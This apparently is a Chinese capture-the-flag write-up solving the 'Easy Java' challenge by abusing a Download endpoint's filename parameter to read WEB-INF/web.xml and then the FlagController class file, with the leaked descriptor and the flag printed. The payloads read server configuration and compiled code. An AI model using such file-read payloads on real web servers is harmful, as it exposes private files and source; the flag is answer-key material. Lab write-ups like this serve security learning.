[RoarCTF 2019]Easy Java 1

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

---

题目

BUUCTF的[RoarCTF 2019]Easy Java 1

---

一、做题步骤

1.查看源代码

1.发现链接 Download?filename=help.docx
2.发现参数是要用POST的方式上传

2.进入新页面

3.web.xml 泄露

filename=WEB-INF/web.xml

4.审计代码

<web-app xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>  
              #文件路径
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>

5.构造payload

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

进行抓包，得到响应消息，发现一段base64密文

解密后
获得flag{80128a6a-b75e-40c1-9ddd-2f5ded1fac33}